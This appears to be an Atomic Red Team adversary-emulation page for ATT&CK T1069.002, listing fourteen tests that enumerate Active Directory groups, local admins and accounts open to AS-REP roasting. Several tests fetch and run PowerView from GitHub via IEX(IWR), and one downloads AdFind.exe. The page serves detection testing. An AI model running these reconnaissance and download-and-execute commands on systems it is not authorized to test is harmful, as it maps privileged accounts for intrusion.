T1069.002
Permission Groups Discovery: Domain Groups
Description from ATT&CK
Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.
Commands such as net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.
Atomic Tests
Atomic Test #1 - Basic Permission Groups Discovery Windows (Domain)
Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
Supported Platforms: windows
auto_generated_guid: dd66d77d-8998-48c0-8024-df263dc2ce5d
Inputs:
None
Attack Commands: Run with command_prompt!
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net localgroup
net group /domain
net group "domain admins" /domain
net group "enterprise admins" /domain
Atomic Test #2 - Permission Groups Discovery PowerShell (Domain)
Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
Supported Platforms: windows
auto_generated_guid: 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7
Inputs:
Name | Description | Type | Default Value |
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user | User to identify what groups a user is a member of | string | administrator |
Attack Commands: Run with powershell!
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get-ADPrincipalGroupMembership #{user} | select name
Atomic Test #3 - Elevated group enumeration using net group (Domain)
Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
Supported Platforms: windows
auto_generated_guid: 0afb5163-8181-432e-9405-4322710c0c37
Inputs:
None
Attack Commands: Run with command_prompt!
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net group /domai "Domain Admins"
net groups "Account Operators" /doma
net groups "Exchange Organization Management" /doma
net group "BUILTIN\Backup Operators" /doma
Atomic Test #4 - Find machines where user has local admin access (PowerView)
Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.
Supported Platforms: windows
auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1
Inputs:
None
Attack Commands: Run with powershell!
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose
Atomic Test #5 - Find local admins on all machines in domain (PowerView)
Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.
Supported Platforms: windows
auto_generated_guid: a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd
Inputs:
None
Attack Commands: Run with powershell!
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose
Atomic Test #6 - Find Local Admins via Group Policy (PowerView)
takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.
Supported Platforms: windows
auto_generated_guid: 64fdb43b-5259-467a-b000-1b02c00e510a
Inputs:
Name | Description | Type | Default Value |
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computer_name | hostname of the computer to analyze | path | $env:COMPUTERNAME |
Attack Commands: Run with powershell!
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose"
Atomic Test #7 - Enumerate Users Not Requiring Pre Auth (ASRepRoast)
When successful, accounts that do not require kerberos pre-auth will be returned
Supported Platforms: windows
auto_generated_guid: 870ba71e-6858-4f6d-895c-bb6237f6121b
Inputs:
None
Attack Commands: Run with powershell!
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get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}
Dependencies: Run with powershell!
Description: Computer must be domain joined.
Check Prereq Commands:
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if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
Get Prereq Commands:
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Write-Host Joining this computer to a domain must be done manually.
Description: Requires the Active Directory module for powershell to be installed.
Check Prereq Commands:
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if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
Get Prereq Commands:
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Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
Atomic Test #8 - Adfind - Query Active Directory Groups
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
Supported Platforms: windows
auto_generated_guid: 48ddc687-82af-40b7-8472-ff1e742e8274
Inputs:
Name | Description | Type | Default Value |
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adfind_path | Path to the AdFind executable | path | PathToAtomicsFolder\T1087.002\src\AdFind.exe |
Attack Commands: Run with command_prompt!
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#{adfind_path} -f (objectcategory=group)
Dependencies: Run with powershell!
Description: AdFind.exe must exist on disk at specified location (#{adfind_path})
Check Prereq Commands:
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if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
Get Prereq Commands:
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path}
Atomic Test #9 - Enumerate Active Directory Groups with Get-AdGroup
The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps
Supported Platforms: windows
auto_generated_guid: 3d1fcd2a-e51c-4cbe-8d84-9a843bad8dc8
Inputs:
None
Attack Commands: Run with powershell!
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Get-AdGroup -Filter *
Atomic Test #10 - Enumerate Active Directory Groups with ADSISearcher
The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
Supported Platforms: windows
auto_generated_guid: 9f4e344b-8434-41b3-85b1-d38f29d148d0
Inputs:
None
Attack Commands: Run with powershell!
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([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindOne()
Atomic Test #11 - Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)
When successful, accounts that do not require kerberos pre-auth will be returned. Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html
Supported Platforms: windows
auto_generated_guid: 43fa81fb-34bb-4b5f-867b-03c7dbe0e3d8
Inputs:
None
Attack Commands: Run with powershell!
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Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
Dependencies: Run with powershell!
Description: Computer must be domain joined.
Check Prereq Commands:
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if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
Get Prereq Commands:
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Write-Host Joining this computer to a domain must be done manually.
Description: Requires the Active Directory module for powershell to be installed.
Check Prereq Commands:
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if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
Get Prereq Commands:
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Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
Atomic Test #12 - Get-DomainGroupMember with PowerView
Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.
Supported Platforms: windows
auto_generated_guid: 46352f40-f283-4fe5-b56d-d9a71750e145
Inputs:
None
Attack Commands: Run with powershell!
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember "Domain Admins"
Atomic Test #13 - Get-DomainGroup with PowerView
Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.
Supported Platforms: windows
auto_generated_guid: 5a8a181c-2c8e-478d-a943-549305a01230
Inputs:
None
Attack Commands: Run with powershell!
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose
Atomic Test #14 - Active Directory Enumeration with LDIFDE
Output information from Active Directory to a specified file. Ldifde is a CLI tool for creating, modifying and deleting directory objects. The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF
Supported Platforms: windows
auto_generated_guid: 22cf8cb9-adb1-4e8c-80ca-7c723dfc8784
Inputs:
Name | Description | Type | Default Value |
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output_path | Path to the file that ldifde will output | path | C:\Windows\temp |
output_file | The filename to be created by ldifde | string | atomic_ldifde.txt |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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ldifde.exe -f #{output_path}\#{output_file} -p subtree
Cleanup Commands:
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del #{output_path}\#{output_file}
Dependencies: Run with powershell!
Description: PowerShell ActiveDirectory Module must be installed
Check Prereq Commands:
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Try {
Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
exit 0
}
Catch {
exit 1
}
Get Prereq Commands:
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if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
} else {
Install-WindowsFeature RSAT-AD-PowerShell
}